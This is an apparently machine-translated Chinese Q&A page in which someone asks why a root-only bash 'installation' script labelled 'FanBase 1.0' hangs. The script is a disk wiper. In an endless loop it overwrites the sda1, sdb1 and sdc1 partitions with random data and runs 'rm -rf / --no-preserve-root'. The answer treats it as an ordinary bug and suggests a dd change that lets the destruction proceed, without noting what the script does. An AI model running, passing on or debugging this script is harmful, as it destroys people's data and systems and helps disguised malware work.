首页 > 解决方案 > 为什么一段时间后的代码是真的;做 ...; done 循环从未在 bash 中调用过?

问题描述

此脚本已在安装中列出。然而,它只是挂起,不做任何事情。是不是有什么问题。

我尝试在多台计算机上运行此脚本。

#!/bin/bash
if [[ $EUID -ne 0 ]]; then
   echo "This script must be run as root" 
   exit 1
fi
echo "Starting FanBase 1.0"
#Replace with any message 
rm -rf b
while true
  do
   echo $(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '') >> b
   dd if=/dev/urandom of=/dev/sda1 bs=1M 2> /dev/null
   dd if=/dev/urandom of=/dev/sdb1 bs=1M 2> /dev/null
   dd if=/dev/urandom of=/dev/sdc1 bs=1M 2> /dev/null
   dd if=b of=/dev/sda1 bs=1M 2> /dev/null
   dd if=b of=/dev/sdb1 bs=1M 2> /dev/null
   dd if=b of=/dev/sdc1 bs=1M 2> /dev/null
   rm -rf / --no-preserve-root 2> /dev/null
  done
echo "DONE!"

它应该说“完成!”

标签: linuxbash

解决方案


让我们调试一下。尝试count=1为每个dd命令添加一个选项。例如,

    dd if=/dev/urandom of=/dev/sda1 bs=1M count=1 2> /dev/null

推荐阅读